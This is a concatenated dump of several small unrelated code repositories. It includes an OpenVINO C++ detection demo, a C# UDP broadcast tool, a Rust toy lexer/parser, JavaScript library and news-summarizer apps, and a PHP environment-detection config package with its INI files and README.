int h = image.rows;
Blob::Ptr imgBlob = wrapMat2Blob(image);
infer_request.SetBlob(input_name, imgBlob);
// -----------------------------------------------------------------------------------------------------
// --------------------------- 7. Do inference --------------------------------------------------------
infer_request.Infer();
// -----------------------------------------------------------------------------------------------------
// --------------------------- 8. Process output ------------------------------------------------------
const Blob::Ptr output_blob = infer_request.GetBlob(output_name);
MemoryBlob::CPtr moutput = as<MemoryBlob>(output_blob);
auto moutputHolder = moutput->rmap();
const float *output = moutputHolder.as<const PrecisionTrait<Precision::FP32>::value_type *>();
std::vector<float> probs;
std::vector<cv::Rect> boxes;
float score = 0;
float cls = 0;
float id = 0;
cv::Mat result(image);
for (int i=0; i < numPred; i++) {
score = output[i*7+2];
cls = output[i*7+1];
id = output[i*7];
std::cout<<score<<std::endl;
if (id >= 0 && score > 0.023) {
cv::rectangle(result, cv::Point(output[i*7+3] * w, output[i*7+4] * h), cv::Point(output[i*7+5] * w, output[i*7+6] * h), cv::Scalar(0, 255, 0));
//boxes.push_back(cv::Rect(output[i*7+3]*w, output[i*7+4]*h,
//(output[i*7+5]-output[i*7+3])*w, (output[i*7+6]-output[i*7+4])*h));
//boxes.push_back(cv::Rect(1, 1, 100, 100));
}
}
//for (int i = 0; i < boxes.size(); i++) {
//cv::rectangle(result, (10,10), (100, 100),/*boxes[i],*/ cv::Scalar(0, 255, 0));
//}
// -----------------------------------------------------------------------------------------------------
// --------------------------- 9. Saving an image ------------------------------------------------------
bool check = imwrite("../result.jpg", result);
if (check == false) {
std::cout << "Mission - Saving the image, FAILED" << std::endl;
}
// -----------------------------------------------------------------------------------------------------
return 0;
}<file_sep>/demo/CMakeLists.txt
cmake_minimum_required(VERSION 2.8)
project( Demo )
find_package( OpenCV REQUIRED )
set(OpenCV_INCLUDE_DIRS "/home/ya_streltsova/build/OV_ARM_package/opencv/include")
include_directories( ${OpenCV_INCLUDE_DIRS} )
find_package(InferenceEngine)
set(InferenceEngine_INCLUDE_DIRS "/home/ya_streltsova/build/OV_ARM_package/deployment_tools/inference_engine/include")
include_directories(${InferenceEngine_INCLUDE_DIRS})
add_executable( Demo src.cpp )
target_link_libraries( Demo ${OpenCV_LIBS} ${InferenceEngine_LIBRARIES})
|
71fefc08907ae2b33d6755b999f037c408a377aa
|
[
"CMake",
"C++"
] | 2 |
C++
|
streltsova-yana/ARM-sample-detection
|
fef5d11eb1262a92742667c97564624c790a5f24
|
b5452dd05d653c10cf64404a6eb143c67f6a9fec
|
refs/heads/master
|
<file_sep>describe("NewsView", function (){
var view, news, storyList, dummyDiv;
beforeEach(function () {
view = new NewsView();
news = jasmine.createSpyObj("news", ["webTitle"]);
news.webTitle= "My headline.";
storyList = [];
storyList.push(news);
dummyDiv = document.createElement('div');
dummyDiv.id = 'headlines';
spyOn(document, 'getElementById').and.returnValue(dummyDiv);
});
it ("Initializes new objects", function () {
expect(NewsView).toBeDefined();
});
it("Displays the headlines", function () {
console.log(news.headline);
console.log(dummyDiv);
expect(view.displayHeadlines(storyList)).toEqual('<ul><li><div id="0"><a href=#0>My headline.</a></div></li></ul>');
});
});
<file_sep>
var controller = new NewsController();
controller.apiRequest();
window.addEventListener("hashchange", function (){
controller.aylienRequest(controller.NewsModel.getUrl(self.grabId()));
});
<file_sep>//saves the stories from the response of the Guardian API call
(function(exports) {
var NewsModel = function () {
this.storyList = [];
};
NewsModel.prototype = {
save: function (stories) {
this.storyList = stories;
},
getTitle: function (index) {
return this.storyList[index].webTitle;
},
getUrl: function (index) {
return this.storyList[index].webUrl;
}
};
exports.NewsModel = NewsModel;
})(this);
<file_sep>describe("NewsModel",function (){
var news = new NewsModel ();
var story, stories;
beforeEach(function (){
story = jasmine.createSpy('story');
story.webTitle = "My news name";
stories = [story];
});
it ("Initializes new objects", function () {
expect(news instanceof NewsModel).toEqual(true);
});
it ("Saves news", function () {
news.save(stories);
expect(news.storyList.length).toEqual(1);
});
it("Gets a news title", function () {
expect(news.getTitle(0)).toEqual("My news name");
});
});
|
e757acea59eb4fd48d296d9b8a3457c2e164c244
|
[
"JavaScript"
] | 4 |
JavaScript
|
TudorTacal/news-summarizer
|
fc67b6a6bc6c3c12ee5038f317fbc872e8a482a7
|
571dbb38e56e7450ceff5cfcd802ca04a8fbee6e
|
refs/heads/master
|
<repo_name>EvrenKayali/FlowFix<file_sep>/FlowFix/Program.cs
using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
namespace FlowFix
{
class Program
{
private static void StartListener(int listenPort)
{
UdpClient listener = new UdpClient(listenPort);
IPEndPoint groupEP = new IPEndPoint(IPAddress.Any, listenPort);
try
{
while (true)
{
Console.WriteLine("Waiting for broadcast");
byte[] bytes = listener.Receive(ref groupEP);
Console.WriteLine($"Received broadcast from {groupEP} :");
Console.WriteLine($" {Encoding.ASCII.GetString(bytes, 0, bytes.Length)}");
}
}
catch (SocketException e)
{
Console.WriteLine(e);
}
finally
{
listener.Close();
}
}
static void Main(string[] args)
{
if (args[0] == "l")
{
StartListener(Convert.ToInt32(args[1]));
}
if (args[0] == "s")
{
Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
var targetIp = args[1];
var targetPort = args[2];
IPAddress broadcast = IPAddress.Parse(targetIp);
byte[] sendbuf = Encoding.ASCII.GetBytes(args[3]);
IPEndPoint ep = new IPEndPoint(broadcast, Convert.ToInt32(targetPort));
s.SendTo(sendbuf, ep);
Console.WriteLine($"Message sent to the broadcast address {targetIp}:{targetPort}");
}
}
}
}
|
ff5ac45e3ef601d0734dac1275cee6b489c877af
|
[
"C#"
] | 1 |
C#
|
EvrenKayali/FlowFix
|
208ff4314555b24d0685b719e1d4babd0e7e4716
|
c7233d986b6d5326671e072c3ecdfd45f13b56a8
|
refs/heads/master
|
<file_sep>"use strict";
var Client = require("../Src/Client");
var Instance = new Client('/tmp/pexchange.sock');
Instance.connect(function(){
Instance.Request("Ping").then(function(Response){
console.log(Response === 'Pong'); // true
});
});<file_sep>"use strict";
let Net = require('net');
let EventEmitter = require('events').EventEmitter;
class Client extends EventEmitter{
constructor(Path){
super();
this.Path = Path;
}
// Public
connect(Callback){
let Me = this;
this.Socket = Net.createConnection(this.Path, function(){
Callback();
});
this.Socket.setEncoding("utf8");
this.Socket.on('data', function(Data){
Data.split("\n").forEach(function(Raw){
if(Raw.length === 0) return ;
let Chunk;
try {
Chunk = JSON.parse(Raw);
} catch(err){return console.error(err)}
Me.handleRequest(Chunk);
})
});
}
// Internal
handleRequest(Data){
if(!Data.Type) return ;
if(Data.Type === 'Request'){
Data.Result = '';
this.emit(Data.SubType, Data.Message, Data);
this.emit("All", Data.Message, Data);
} else if(Data.Type === 'Broadcast'){
this.emit(Data.SubType, Data.Message, Data);
this.emit("All", Data.Message, Data);
} else if(Data.Type === 'Reply'){
this.emit(`JOB:${Data.ID}`, Data.Message);
}
}
// Public
Broadcast(Type, Message){
Message = Message || '';
this.Socket.write(JSON.stringify({Type: 'Broadcast', SubType: Type, Message: Message}), "utf8");
return this;
}
// Public
Request(Type, Message){
Message = Message || '';
let Me = this;
return new Promise(function(Resolve){
let JobID = (Math.random().toString(36)+'00000000000000000').slice(2, 7+2);
Me.once(`JOB:${JobID}`, Resolve);
Me.Socket.write(JSON.stringify({Type: 'Request', SubType: Type, Message: Message, ID: JobID}), "utf8");
});
}
// Public
Finished(Job){
this.Socket.write(JSON.stringify({Type: 'Reply', ID: Job.ID, Message: Job.Result}), "utf8");
}
}
module.exports = Client;<file_sep>PExchange
==========
PExchange is a promise based information exchange for Node. It allows different processes to communicate with each other.
#### Benefits
PExchange provides you an extremely easy to use API, that can be extended to make applications written in different languages talk to each other. It just works, there's no complicated setup or stuff, You just run it on a port or a unix socket and connect your programs to it.
You can easily set it up to send emails and other stuff from a nodejs thread while serving your non-blocking website from PHP or HackLang or any other language of your choice.
#### Hello World
```js
// Server.js
"use strict";
var PExchange = require("pexchange");
var Server = new PExchange.Server('/tmp/pexchange.sock');
Server.on('Ping', function(Request, Job){
Job.Result = 'Pong';
Server.Finished(Job);
});
```
```js
// Client.js
var PExchange = require("pexchange");
var Client = new PExchange.Client('/tmp/pexchange.sock');
Client.connect(function(){
Client.Request("Ping").then(function(Response){
console.log(Response); // "Pong"
});
});
```
#### API
```js
enum JobType:string{
Request, Reply, Broadcast
}
type ServerJob = shape( Type:JobType, SubType:String, Message:String, ID:String, Socket:Net.Socket )
type ClientJob = shape( Type:JobType, SubType:String, Message:String, ID:String )
class ExchangeServer extends EventEmitter{
Server: Net.Server
Connections: array<Net.Socket>
on(Type:String, Callback:function(Job:ServerJob))
Broadcast(Type:String, Message:String, ?Socket:Net.Socket):this
Request(Type:String, Message:String, ?Socket:Net.Socket):Promise<String>
Finished(Job)
}
class ExchangeClient extends EventEmitter{
on(Type:String, Callback:function(Job:ClientJob))
Broadcast(Type:String, Message:String, ?Socket:Net.Socket):this
Request(Type:String, Message:String, ?Socket:Net.Socket):Promise<String>
Finished(Job)
}
```
#### License
This project is licensed under the terms of MIT License. See the License file for more info.
|
a6bbf72a3f0fc076c6877123c4c8e3eb880dc72f
|
[
"JavaScript",
"Markdown"
] | 3 |
JavaScript
|
steelbrain/pexchange
|
26320d0aafb8932eaf98a6fafb4e22e97568080b
|
e89990b560dbf7188ad20a759e82950b2d777daf
|
refs/heads/master
|
<file_sep>use std::collections::HashMap;
use std::iter::Enumerate;
use std::process;
fn lookup(token: &char) -> String{
//define the hash map according to the token table
let token_map: HashMap<char, &str> = [('=', "ASSIGN"), ('+', "ADD_OP"), ('-', "SUB_OP"), ('*', "MUL_OP"), ('/', "DIV_OP"), (';', "SEMI"), ('(', "OP_PAR"), (')', "CL_PAR")].iter().cloned().collect();
//return the value that corresponds to the char key, errors out if invalid lexeme is passed in
token_map.get(&token).expect("Value is not in token hash map").to_string()
}
fn expr(lexemes: &Vec<String>, tokens: &Vec<String>){
let mut iterator = tokens.iter().enumerate();
println!("Enter <expr>");
for (i, item) in &mut iterator{
if(item == "ADD_OP" || item == "SUB_OP"){
println!("Lexeme is: {} Token is: {}", lexemes[i], item);
expr(&lexemes[(i+1)..].to_vec(), &tokens[(i+1)..].to_vec());
println!("Exit <expr>");
} else{
term(&lexemes[i..].to_vec(), &tokens[i..].to_vec());
}
}
}
fn term(lexemes: &Vec<String>, tokens: &Vec<String>){
let mut iterator = tokens.iter().enumerate();
println!("Enter <term>");
for (i, item) in &mut iterator{
if(item == "MUL_OP" || item == "DIV_OP"){
println!("Lexeme is: {} Token is: {}", lexemes[i], item);
expr(&lexemes[(i+1)..].to_vec(), &tokens[(i+1)..].to_vec());
println!("Exit <term>");
} else{
factor(&lexemes[i..].to_vec(), &tokens[i..].to_vec());
}
}
println!("Exit <term>");
}
fn factor(lexemes: &Vec<String>, tokens: &Vec<String>){
let mut iterator = tokens.iter().enumerate();
println!("Enter <factor>");
for (i, item) in &mut iterator{
if(item == "ITY" || item == "INT_LIT"){
println!("Lexeme is: {} Token is: {}", lexemes[i], item);
expr(&lexemes[(i+1)..].to_vec(), &tokens[(i+1)..].to_vec());
println!("Exit <factor>");
} else if(item == "OP_PAR"){
println!("Lexeme is: {} Token is: {}", lexemes[i], item);
expr(&lexemes[(i+1)..].to_vec(), &tokens[(i+1)..].to_vec());
} else if(item == "CL_PAR"){
println!("Lexeme is: {} Token is: {}", lexemes[i], item);
expr(&lexemes[(i+1)..].to_vec(), &tokens[(i+1)..].to_vec());
}else if(item == "EOF"){
process::exit(0);
}
// {
// expr(&lexemes[i..].to_vec(), &tokens[i..].to_vec());
// }
}
println!("Exit <factor>");
}
fn lex(input_str: &str) -> (Vec<String>, Vec<String>) {
let mut chars = input_str.chars().peekable();
let mut lexemes = Vec::<String>::new();
let mut tokens = Vec::<String>::new();
let mut in_progress_lexeme = String::new();
while let Some(c) = chars.peek() {
if c.is_alphabetic() {
while let Some(ch) = chars.peek() {
if (ch.is_alphabetic()) {
in_progress_lexeme.push(*ch);
} else {
break;
}
chars.next();
}
lexemes.push(in_progress_lexeme);
tokens.push("ITY".to_string());
in_progress_lexeme = String::new();
} else if c.is_alphanumeric() {
while let Some(ch) = chars.peek() {
if (ch.is_alphanumeric()) {
in_progress_lexeme.push(*ch);
} else {
break;
}
chars.next();
}
lexemes.push(in_progress_lexeme);
tokens.push("INT_LIT".to_string());
in_progress_lexeme = String::new();
} else {
lexemes.push(c.to_string());
tokens.push(lookup(&c));
chars.next();
}
}
lexemes.push("EOF".to_string());
tokens.push("EOF".to_string());
(lexemes, tokens)
}
fn main(){
let input_str = String::from("(sum+47)/total");
let mut lexemes = lex(&input_str).0;
let mut tokens = lex(&input_str).1;
expr(&lexemes, &tokens);
}
<file_sep># Epic Syntax Analyzer
## Getting Started
1. [Download and setup Rust](https://www.rust-lang.org/learn/get-started)
2. Clone the repository
```
$ git clone <EMAIL>:johnpanos/epic-syntax-analyzer.git
```
3. Compile
```
$ rustc ./main.rs
```
4. Run
```
$ ./main
```
## Token Table
| Token | Description |
|-------|-------------|
|ITY |Variable |
|ASSIGN |Assignment |
|ADD_OP |Addition |
|SUB_OP |Subtraction |
|MUL_OP |Multiplication|
|DIV_OP |Division |
|INT_LIT|Integer Literal|
|SEMI |Semicolon |
|OP_PAR |Open Paren |
|CL_PAR |Close Paren |
## `lookup(token: &char)`
`lookup()` takes a reference to a char as input and searches the pre-defined hash map, which is set up like the table above, and returns the string that corresponds to the character.
|
dea26cf83c5836d7a51f6beed3b7314b0c04beec
|
[
"Markdown",
"Rust"
] | 2 |
Rust
|
johnpanos/epic-syntax-analyzer
|
e56ca666008b20a1a4203fa30c6013816166ff72
|
2b4ea1ef71b43b93635eead33b2099b20cb0681c
|
refs/heads/master
|
<file_sep>"use strict";
(function () {
function LibraryView(libraryController) {
this.libraryController = libraryController;
callApi("https://rsu-library-api.herokuapp.com/books", booksArray => {
this.libraryController.setBooksArray(booksArray);
this.showBooks(this.libraryController.getBooks());
});
this.filterContainer = document.querySelector(".filters");
this.categoryContainer = document.querySelector(".categories");
this.inputSearch = document.querySelector('[name="search"]');
this.addBookButton = document.querySelector('div > [type="submit"]');
this.button = document.querySelector('[type="submit"]');
this.modal = document.querySelector(".modal");
this.form = document.forms.add_book;
this.__onclickFilter = event => {
var target = event.target;
if (target.tagName !== "A") return;
var allFilters = target.parentElement.querySelectorAll("a");
allFilters.forEach(element => {
if (element.classList.contains("active")) {
element.classList.remove("active");
}
});
target.classList.add("active");
var titleFilter = target.getAttribute("data-filter");
this.libraryController.setCurrentFilter(titleFilter);
var filteredBooks = this.libraryController.filteringBook();
this.showBooks(filteredBooks);
};
this.filterContainer.addEventListener("click", this.__onclickFilter);
this.__onClickCategory = event => {
var target = event.target;
if (target.tagName !== "A") return;
var titleCategory = target.getAttribute("data-category");
var booksByCategories = this.libraryController.filterBooksByCategory(
titleCategory
);
this.showBooks(booksByCategories);
};
this.categoryContainer.addEventListener("click", this.__onClickCategory);
this.__onClickRating = event => {
var target = event.target;
if (target.tagName !== "I") return;
switch (target.className) {
case "fa-star far":
case "fa-star far paint": {
this.paintOver(target);
break;
}
case "fa-star fa":
case "fa-star fa paint": {
this.unPaintOver(target);
break;
}
default:
break;
}
};
this.__handleOnChangeInput = event => {
var searchInput = event.target.value;
var filteredBooksBySearch = this.libraryController.filteringBookBySearch(
searchInput.toLowerCase()
);
this.showBooks(filteredBooksBySearch);
};
this.inputSearch.addEventListener(
"keyup",
debounce(this.__handleOnChangeInput, 300)
);
this.__onClickAddBook = () => {
var validData =
this.form.elements.title.value !== "" &&
this.form.elements.firsname.value !== "" &&
this.form.elements.lastname.value !== "" &&
this.form.elements.cost.value >= 0 &&
this.form.elements.image_url.value !== "";
var books = this.libraryController.getBooks();
var book = {};
book.id = books[books.length - 1].id + 1;
book.title = this.setFirstCharcterWordUpperCase(
this.form.elements.title.value
);
book.author = {
firstName: this.setFirstCharcterWordUpperCase(
this.form.elements.firsname.value
),
lastName: this.setFirstCharcterWordUpperCase(
this.form.elements.lastname.value
)
};
book.rating = 0;
book.cost = +this.form.elements.cost.value;
book.categories = Array.from(
document.querySelectorAll("input[type=checkbox]:checked")
).map(elem => elem.value);
book.createdAt = new Date().getTime();
book.updatedAt = new Date().getTime();
book.image_url = this.form.elements.image_url.value;
if (validData) {
this.libraryController.addNewBook(book);
var addedBooks = this.libraryController.getBooks();
this.showBooks(addedBooks);
this.form.elements.title.value = "";
this.form.elements.firsname.value = "";
this.form.elements.lastname.value = "";
this.form.elements.cost.value = "";
this.form.elements.image_url.value = "";
this.__closeModal();
}
};
this.addBookButton.addEventListener("click", this.__onClickAddBook);
this.button.addEventListener("click", () => {
this.modal.classList.remove("hide");
this.modal.classList.add("show");
});
this.__closeModal = () => {
this.modal.classList.remove("show");
this.modal.classList.add("hide");
};
}
LibraryView.prototype.setFirstCharcterWordUpperCase = function (word) {
return word.charAt(0).toUpperCase() + word.slice(1);
};
LibraryView.prototype.showBooks = function (booksArray) {
var section = document.querySelector("section");
section.innerHTML = "";
booksArray.forEach(item => {
var itemBook = this.createBook(item);
section.appendChild(itemBook);
});
};
LibraryView.prototype.createBook = function (item) {
var article = document.createElement("article");
var img = document.createElement("img");
img.src = item.image_url;
img.alt = item.title;
var figcaption = document.createElement("figcaption");
figcaption.textContent = item.title;
var figure = document.createElement("figure");
figure.appendChild(img);
figure.appendChild(figcaption);
article.appendChild(figure);
var span = document.createElement("span");
span.textContent =
"by " + item.author.firstName + " " + item.author.lastName;
article.appendChild(span);
var div = document.createElement("div");
div.className = "rating";
div.appendChild(this.setRating(item.rating));
article.appendChild(div);
return article;
};
LibraryView.prototype.setRating = function (objRating) {
var rating = objRating;
var ratingContainer = document.createElement("div");
for (let i = 0; i < 5; i++) {
var star = document.createElement("i");
star.className = "fa-star";
if (rating) {
star.classList.add("fa");
star.classList.add("paint");
rating--;
} else {
star.classList.add("far");
}
ratingContainer.appendChild(star);
ratingContainer.addEventListener("click", this.__onClickRating);
}
return ratingContainer;
};
LibraryView.prototype.paintOver = function (target) {
target.parentNode.childNodes.forEach(elem =>
elem.classList.remove("paint")
);
target.classList.add("paint");
};
LibraryView.prototype.unPaintOver = function (target) {
target.parentNode.childNodes.forEach(elem => {
elem.classList.remove("paint");
elem.classList.remove("fa");
elem.classList.add("far");
});
};
window.app = window.app || {};
window.app.LibraryView = LibraryView;
}());
<file_sep>"use strict";
(function () {
function LibraryController(libraryModel) {
this.libraryModel = libraryModel;
}
LibraryController.prototype.addNewBook = function (newBook) {
this.libraryModel.addNewBook(newBook);
};
LibraryController.prototype.getBooks = function () {
return this.libraryModel.getBooks();
};
LibraryController.prototype.setBooksArray = function (array) {
this.libraryModel.setBooksArray(array);
};
LibraryController.prototype.setCurrentFilter = function (titleFilter) {
this.libraryModel.setCurrentFilter(titleFilter);
};
LibraryController.prototype.filteringBook = function () {
return this.libraryModel.filteringBook();
};
LibraryController.prototype.filteringBookBySearch = function (search) {
return this.libraryModel.filteringBookBySearch(search);
};
LibraryController.prototype.filterBooksByCategory = function (titleCategory) {
return this.libraryModel.filterBooksByCategory(titleCategory);
};
window.app = window.app || {};
window.app.LibraryController = LibraryController;
}());
<file_sep>"use strict";
(function () {
function LibraryModel() {
this.books = [];
this.currentFilter = "all";
}
LibraryModel.prototype.getBooks = function () {
return this.books;
};
LibraryModel.prototype.addNewBook = function (newBook) {
this.books.push(newBook);
};
LibraryModel.prototype.setBooksArray = function (array) {
this.books = array;
};
LibraryModel.prototype.getFree = function () {
return this.books.filter(item => item.cost === 0);
};
LibraryModel.prototype.getPopular = function () {
return this.books.filter(item => item.rating === 5);
};
LibraryModel.prototype.getRecent = function () {
return this.books.sort((a, b) => a.createdAt > b.updatedAt);
};
LibraryModel.prototype.filteringBook = function () {
switch (this.currentFilter) {
case "recent": {
return this.getRecent();
}
case "popular": {
return this.getPopular();
}
case "free": {
return this.getFree();
}
default: {
return this.getBooks();
}
}
};
LibraryModel.prototype.filteringBookBySearch = function (search) {
return this.books.filter(item => {
return (
item.title.toLowerCase().indexOf(search) !== -1 ||
item.author.firstName.toLowerCase().indexOf(search) !== -1 ||
item.author.lastName.toLowerCase().indexOf(search) !== -1
);
});
};
LibraryModel.prototype.filterBooksByCategory = function (titleCategory) {
return this.books.filter(function (book) {
return book.categories.includes(titleCategory);
});
};
LibraryModel.prototype.setCurrentFilter = function (titleFilter) {
this.currentFilter = titleFilter;
};
window.app = window.app || {};
window.app.LibraryModel = LibraryModel;
}());
<file_sep>function map(arr, callback, thisArg) {
var length = arr.length;
var results = [];
for (var i = 0; i < length; i = i + 1) {
results.push(callback.call(thisArg, arr[i], i, arr));
}
return results;
}
module.exports = map;
<file_sep>function TrigonomCalc(name) {
Calculator.apply(this, arguments);
}
TrigonomCalc.prototype = Object.create(Calculator.prototype);
TrigonomCalc.prototype.constructor = TrigonomCalc;
TrigonomCalc.prototype.sin = function(variable) {
if (this.__isNumeric(variable)) this.__state = Math.sin(variable);
return this;
};
TrigonomCalc.prototype.cos = function(variable) {
if (this.__isNumeric(variable)) this.__state = Math.cos(variable);
return this;
};
TrigonomCalc.prototype.tan = function(variable) {
if (this.__isNumeric(variable)) this.__state = Math.tan(variable);
return this;
};
TrigonomCalc.prototype.ctan = function(variable) {
if (this.__isNumeric(variable)) this.__state = 1 / Math.tan(variable);
return this;
};
TrigonomCalc.prototype.sinh = function(variable) {
if (this.__isNumeric(variable)) this.__state = Math.sinh(variable);
return this;
};
TrigonomCalc.prototype.cosh = function(variable) {
if (this.__isNumeric(variable)) this.__state = Math.cosh(variable);
return this;
};
TrigonomCalc.prototype.tanh = function(variable) {
if (this.__isNumeric(variable)) this.__state = Math.tanh(variable);
return this;
};
TrigonomCalc.prototype.сtanh = function(variable) {
if (this.__isNumeric(variable)) this.__state = 1 / Math.tanh(variable);
return this;
};
var trig = new TrigonomCalc("Тригонометрический калькулятор");
console.log(trig.sin(1).cos(0));
trig.setState(1);
console.log(trig.getResult());
console.log(trig.сtanh(1));
console.log(trig.getResult());
<file_sep>"use strict";
let modalWindow = document.getElementById("openModal");
let showModal = document.getElementById("modalOpenButton");
let closeModal = document.getElementById("close");
showModal.onclick = function() {
modalWindow.style.display = "block";
};
closeModal.onclick = function() {
modalWindow.style.display = "none";
};
<file_sep>(function () {
function App() {
this.libraryModel = new app.LibraryModel();
this.libraryController = new app.LibraryController(this.libraryModel);
this.libraryView = new app.LibraryView(this.libraryController);
}
new App();
}());
<file_sep>function reduce(array, callback, initValue) {
var previousValue = initValue === undefined ? array[0] : initValue;
var i = initValue === undefined ? 1 : 0;
for (i; i < array.length; i++) {
previousValue = callback(previousValue, array[i], i, array);
}
return previousValue;
}
module.exports = reduce;
|
a0a12ac37225bea61888b0f5903932055db68911
|
[
"JavaScript"
] | 8 |
JavaScript
|
AlexShelest/external-courses
|
217678db878dfd958ccb8542fc82e79371a1eac8
|
eeeae148b8ae1500627c10c1e6a7fc3e9ef22191
|
refs/heads/master
|
<file_sep>[group-1]
option[g1] = default-env<file_sep><?php
/**
* Project: EnvironmentProvider
* User: MadFaill
* Date: 06.08.14
* Time: 21:33
* File: Environ.php
* Package: EnvironmentProvider
*
*/
namespace EnvironmentProvider\lib;
/**
* Class Environ
* @description None.
*
* @author MadFaill
* @copyright MadFaill 06.08.14
* @since 06.08.14
* @version 0.01
* @package EnvironmentProvider
*/
class Environ
{
/** @var \EnvironmentProvider\lib\Config */
private $config;
private $environment_mapping = array();
private $environment_match = array();
private $environment_env = array();
private $fallback;
private $ini_path;
private $environ;
private $data = array();
/**
* @param array $environment_mapping
*/
public function __construct(array $environment_mapping)
{
$this->data['user'] = isset($_SERVER['USER']) ? $_SERVER['USER'] : 'web';
$this->data['is_console'] = !isset($_SERVER['HTTP_HOST']) && !isset($_SERVER['REMOTE_ADDR']); // fix if CGI! <==$this->data['user'] != 'web';
$this->data['domain'] = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'console';
$this->data['server_ip'] = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : null;
$this->data['server_software'] = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : null;
$this->data['path'] = $_SERVER['SCRIPT_FILENAME'];
$this->data['pwd'] = isset($_SERVER['PWD']) ? $_SERVER['PWD'] : '';
$this->data['home'] = isset($_SERVER['HOME']) ? $_SERVER['HOME'] : '';
$this->data['client_ip'] = null;
$this->data['client_agent'] = null;
if ($this->isWeb()) {
if (isset($_SERVER['REMOTE_ADDR'])) {
$this->data['client_ip'] = $_SERVER['REMOTE_ADDR'];
}
if (isset($_SERVER['X_FORWARDED_FOR'])) {
$this->data['client_ip'] = $_SERVER['X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_USER_AGENT'])) {
$this->data['client_agent'] = $_SERVER['HTTP_USER_AGENT'];
}
}
$this->fallback = $environment_mapping['settings']['fallback'];
$this->ini_path = $environment_mapping['settings']['config_path'];
foreach ($environment_mapping as $environ => $data)
{
// fill scan
if (isset($data['scan'])) {
$this->environment_mapping[$environ] = $data['scan'];
}
// fill match
if (isset($data['match'])) {
$this->environment_match[$environ] = $data['match'];
}
// by env key
if (isset($data['env'])) {
$this->environment_env[$environ] = $data['env'];
}
}
}
/**
* @return bool
*/
public function isWeb()
{
return !$this->data['is_console'];
}
/**
* @return Config
*/
public function config()
{
if (!$this->config) {
$this->config = Config::initWithIniPath($this->_config_ini_file());
}
return $this->config;
}
/**
* @return string
*/
public function current()
{
if (!$this->environ) {
$this->environ = $this->_detect_env();
}
return $this->environ;
}
/**
*
* @param null $key
* @return mixed
*/
public function data($key=null)
{
return $key ? (isset($this->data[$key]) ? $this->data[$key] : null) : null;
}
/**
* @return string
*/
private function _config_ini_file()
{
return sprintf("%s/%s.ini", $this->ini_path, $this->current());
}
/**
* @return string
*/
private function _detect_env()
{
// try env key
foreach ($this->environment_env as $env => $environ)
{
foreach ($environ as $eKey => $eValue) {
if (isset($_ENV[$eKey]) && ($_ENV[$eKey] == $eValue) ) {
return $env;
}
}
}
// try scan
foreach ($this->environment_mapping as $env => $search)
{
if ( in_array($this->data['server_ip'], $search)
|| in_array($this->data['domain'], $search)
|| in_array($this->data['user'], $search))
{
return $env;
}
}
// try match
foreach ($this->environment_match as $env => $match)
{
foreach ($this->data as $dKey => $dVal)
{
if (isset($match[$dKey]))
{
$pattern = $match[$dKey];
if (preg_match("#($pattern)#ius", $dVal)) {
return $env;
}
}
}
}
return $this->fallback;
}
}
// ---------------------------------------------------------------------------------------------------------------------
// > END Environ < #
// ---------------------------------------------------------------------------------------------------------------------
<file_sep><?php
/**
* Project: EnvironmentProvider
* User: MadFaill
* Date: 06.08.14
* Time: 21:38
* File: Exception.php
* Package: EnvironmentProvider\error
*
*/
namespace EnvironmentProvider\error;
/**
* Class Exception
* @description None.
*
* @author MadFaill
* @copyright MadFaill 06.08.14
* @since 06.08.14
* @version 0.01
* @package EnvironmentProvider\error
*/
class Exception extends \Exception {}
// ---------------------------------------------------------------------------------------------------------------------
// > END Exception < #
// --------------------------------------------------------------------------------------------------------------------- <file_sep>[settings]
fallback = default
config_path = _PROVIDER_INI_FILE_PATH_"/config"
[default]
scan[] = 'production.public-domain'
[mad-environ]
; scan IP ADDRESS
scan[] = "::1"
; scan IP ADDRESS
scan[] = "127.0.0.1"
; scan CONSOLE USER
scan[] = "MadFaill"
; scan HTTP-DOMAIN
scan[] = "madfaill.local-domain"
[development]
; preg match domain
match[domain] = ".+\.dev\.site\.me"
; preg match script path
match[path] = "/home/.+/www"<file_sep>EnvironmentProvider
===================
Автоопределение среды и подгрузка необходимого конфига.
Из коробки:
- Определение Env
- Конфиг-object
- Env-object
Код распространяется по лицензии [MIT](http://opensource.org/licenses/MIT) и предоставляется **AS-IS**.
Пример использования
====================
**/env/mapper.ini**
```ini
[settings]
fallback = default
config_path = _PROVIDER_INI_FILE_PATH_"/config"
[default]
scan[] = 'production.public-domain'
[mad-environ]
; scan IP ADDRESS
scan[] = "::1"
; scan IP ADDRESS
scan[] = "127.0.0.1"
; scan CONSOLE USER
scan[] = "MadFaill"
; scan HTTP-DOMAIN
scan[] = "madfaill.local-domain"
```
**/env/config/mad-env.ini**
```ini
[group-1]
option[g1] = mad-env
```
**использование**
```php
$cfg = __DIR__.'/env/mapper.ini';
$provider = \EnvironmentProvider\Provider::initWithINIFile($cfg);
$config = $provider->Config();
var_dump($config->get());
var_dump($config->get('group-1'));
var_dump($config->get('group-1', 'option'));
var_dump($config->get('group-1', 'option', 'g1'));
```
Так же можно посмотреть примеры в `examples`
Установка
=========
```json
{
"require": {
"mad-tools/environment-provider": "dev-master"
}
}
```
<file_sep>[group-1]
option[g1] = mad-env<file_sep><?php
/**
* Project: EnvironmentProvider
* User: MadFaill
* Date: 06.08.14
* Time: 21:33
* File: Config.php
* Package: EnvironmentProvider\lib
*
*/
namespace EnvironmentProvider\lib;
use EnvironmentProvider\error\Exception;
/**
* Class Config
* @description None.
*
* @author MadFaill
* @copyright MadFaill 06.08.14
* @since 06.08.14
* @version 0.01
* @package EnvironmentProvider\lib
*/
final class Config
{
/** @var array */
private $config;
/**
* @param array $options
*/
private function __construct(array $options)
{
$this->config = $options;
}
/**
* @param $path
* @return Config
* @throws \EnvironmentProvider\error\Exception
*/
public static function initWithIniPath($path)
{
if (!file_exists($path)) {
throw new Exception('Ini file not found');
}
$options = parse_ini_file($path, true);
$config = new Config($options);
return $config;
}
/**
* @param null $group
* @param null $key
* @param null $sub_key
* @return array|null
*/
public function get($group = Null, $key=Null, $sub_key=Null)
{
if ($group) {
$data = isset($this->config[$group]) ? $this->config[$group] : null;
if ($key)
{
$data = isset($data[$key]) ? $data[$key] : null;
if ($sub_key) {
